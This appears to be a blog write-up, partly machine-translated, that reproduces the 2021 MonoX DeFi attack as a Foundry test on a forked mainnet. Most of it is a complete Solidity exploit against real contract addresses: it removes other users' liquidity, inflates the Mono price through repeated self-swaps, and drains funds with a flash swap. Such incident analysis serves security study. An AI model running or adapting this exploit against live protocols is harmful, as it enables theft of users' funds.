Defi security-Monox attack Foundry reappears

Other related content can be found on the personal homepage

For an introduction to the Mono attack incident, see: Defi Security – Monox Attack Event Analysis – phalcon+etherscan

1. Summary of the situation and introduction of ideas

Monox uses a unilateral pool model and creates a token-vCash trading pair. When adding liquidity, you only need to add tokens to exchange for any token.

The main vulnerabilities are twofold:

  • You can check the user addresses that provide token liquidity on the Monox official website, but for each user's liquidity, any user can call the remove liquidity function to remove liquidity.
  • In Monoswap's token exchange function, the equality of tokenIn and is not considered tokenOut. When the code logic is processed, price coverage occurs, and the price of Mono tokens rises abnormally. For details, see the analysis of related attack implementations.

2. Foundry recurrence attack process

When foundry calls an external contract, it uses interface to define the corresponding method and the address of the corresponding contract to implement the call to the external contract (I think it is a better way)

pragma solidity >=0.7.0 <0.9.0;
import "forge-std/Test.sol";

interface IERC20 {
    function balanceOf(address owner) external view returns (uint256);
    function approve(address spender, uint256 value) external returns (bool);
    function transfer(address to, uint256 value) external returns (bool);
    function deposit() external payable;
}

interface IuniswapV2pair {
    function swap(uint amount0Out, uint amount1Out, address to, bytes calldata data) external;
}

interface IMonoswap {
    function removeLiquidity (address _token, uint256 liquidity, address to,uint256 minVcashOut, uint256 minTokenOut) external returns(uint256 vcashOut, uint256 tokenOut);
    function addLiquidity(address _token, uint256 _amount, address to) external returns (uint256 liquidity);
    function swapExactTokenForToken(
        address tokenIn,
        address tokenOut,
        uint amountIn,
        uint amountOutMin,
        address to,
        uint deadline
    ) external returns (uint amountOut);
    function swapTokenForExactToken(
        address tokenIn,
        address tokenOut,
        uint256 amountInMax,
        uint256 amountOut,
        address to,
        uint256 deadline
    ) external returns (uint256 amountIn);
    function pools(address)
        external
        view
        returns (
            uint256 pid,
            uint256 lastPoolValue,
            address token,
            uint8 status,
            uint112 vcashDebt,
            uint112 vcashCredit,
            uint112 tokenBalance,
            uint256 price,
            uint256 createdAt
        );
}

interface IMonoXPool {
    function totalSupplyOf(uint256 pid) external returns (uint256);
    function balanceOf(address account, uint256 id) external returns (uint256);
}

address constant uniswapv2pair = 0xB4e16d0168e52d35CaCD2c6185b44281Ec28C9Dc;
address constant weth = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2;
address constant Monoswap = 0xC36a7887786389405EA8DA0B87602Ae3902B88A1;
address constant MonoXPool = 0x59653E37F8c491C3Be36e5DD4D503Ca32B5ab2f4;
address constant Mono = 0x2920f7d6134f4669343e70122cA9b8f19Ef8fa5D;
address constant usdc = 0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48;

address constant liquidity_user1 = 0x7B9aa6ED8B514C86bA819B99897b69b608293fFC;
address constant liquidity_user2 = 0x81D98c8fdA0410ee3e9D7586cB949cD19FA4cf38;
address constant liquidity_user3 = 0xab5167e8cC36A3a91Fd2d75C6147140cd1837355;

Attack code

Call forge to test

 forge test --match-contract test_Monox -vv

result:

image-20240107221535861

contract test_Monox is Test{

    function setUp() public {
        vm.createSelectFork("https://rpc.ankr.com/eth", 13_715_025);
    }
    //首先folk以太坊上对应区块的状态
    
    function test_Monox_exploit() public {
        IERC20(Mono).approve(address(Monoswap), type(uint256).max);
        IERC20(weth).deposit{value: address(this).balance, gas: 40_000}();

        console.log("WETH balance: ", IERC20(weth).balanceOf(address(this)));
        IERC20(weth).approve(address(Monoswap), 0.1 ether);
		//在进行对应的代币转移的时候,一定要记得先进行approve操作
		
        IMonoswap(Monoswap).swapExactTokenForToken(weth, Mono, 0.1 ether, 1, address(this), 1638278872);
        console.log("Mono balance:  ", IERC20(Mono).balanceOf(address(this)));
        //提取weth,并调用monoswap的函数,将0.1weth换成对应的Mono代币,易进行后续操作
        
        remove_liquidity_user();
        uint liquidity = IMonoswap(Monoswap).addLiquidity(address(Mono), 196975656, address(this));
        console.log("attacker gain liquidity: ", liquidity);
		//攻击者自己添加对应的流动性,获得对应LP流动性证明,为后续拉升Mono价格做准备
		
        raise_mono_price();

        swap_mono_for_weth();
        //将对应高价格的mono代币置换成weth

    }

    function remove_liquidity_user() public {
        
        (uint pid,,,,,,,,) = IMonoswap(Monoswap).pools(address(Mono));
        uint balance = IMonoXPool(MonoXPool).totalSupplyOf(pid);
        console.log("pid:  ", pid);
        console.log("monoXpool's mono balance: ", balance);

        uint balance1 = IMonoXPool(MonoXPool).balanceOf(address(liquidity_user1), pid);
        IMonoswap(Monoswap).removeLiquidity(address(Mono), balance1, address(liquidity_user1), 0, 1);

        uint balance2 = IMonoXPool(MonoXPool).balanceOf(address(liquidity_user2), pid);
        IMonoswap(Monoswap).removeLiquidity(address(Mono), balance2, address(liquidity_user2), 0, 1);

        uint balance3 = IMonoXPool(MonoXPool).balanceOf(address(liquidity_user3), pid);
        IMonoswap(Monoswap).removeLiquidity(address(Mono), balance3, address(liquidity_user3), 0, 1);
		//漏洞函数,根据phalcon的调用序列,移除对应用户的流动性
        uint balance_afterremove = IMonoXPool(MonoXPool).totalSupplyOf(pid);
        console.log("monoXpool's mono balance after remove liquidity", balance_afterremove);
    }

    function raise_mono_price() public {
        for(uint i = 0 ; i < 55 ; i++){
            (uint pid ,,,,,,uint tokenBalance,uint price, ) = IMonoswap(Monoswap).pools(address(Mono));
            uint balance = IERC20(Mono).balanceOf(address(this));

            IMonoswap(Monoswap).swapExactTokenForToken(address(Mono), address(Mono), tokenBalance ,0, address(this), 1638278872);

            console.log("Mono token Price - ",i,":  ",  price);
        }
        //按照对应的调用序列,得到池子里的Mono余额,并调用对应的漏洞函数,swapEaxctTokenForToken
    }

    function swap_mono_for_weth() public {
        
        uint weth_balance = IERC20(weth).balanceOf(address(this));
        console.log("attacker weth balance: ", weth_balance);

        uint mono_balance = IERC20(Mono).balanceOf(address(this));
        console.log("attacker mono balance: ", mono_balance);

        IuniswapV2pair(uniswapv2pair).swap(0, 547_206_697_433_507_365_949, address(this), "0x00");
        //闪电贷,借贷weth和usdc的pair对
        uint weth_balance2 = IERC20(weth).balanceOf(address(this));
        console.log("attacker weth balance: ", weth_balance2 - weth_balance);

        uint mono_balance2 = IERC20(Mono).balanceOf(address(this));
        console.log("attacker mono balance: ", mono_balance - mono_balance2);
    }

    function uniswapV2Call(address sender, uint256 amount0, uint256 amount1, bytes calldata data) public{

        uint balance = IERC20(Mono).balanceOf(address(this));
        IMonoswap(Monoswap).swapTokenForExactToken(address(Mono), address(usdc), balance, 4029106880396, address(this), 1638278872);

        bool success = IERC20(usdc).transfer(address(uniswapv2pair),3029106880396);

        require(success);
        //在回调函数中,调用monoswap对应的函数,将mono换成对应的usdc,实现对应的usdc还款。

    }

    function onERC1155Received(address _operator, address _from, uint256 _id, uint256 _value, bytes calldata _data) external returns(bytes4){
        bytes4 a = bytes4(keccak256("onERC1155Received(address,address,uint256,uint256,bytes)"));
        // a = 0xf23a6e61
        return a;
    }
    //在添加流动性的时候,会回调对应的函数,否则会报错
}

If the attack POC does not define the corresponding onERC1155Received, an error will be reported when liquidity is generated, as shown in the following figure:

image-20240107221633674

Guess you like

Origin blog.csdn.net/m0_53689197/article/details/135446044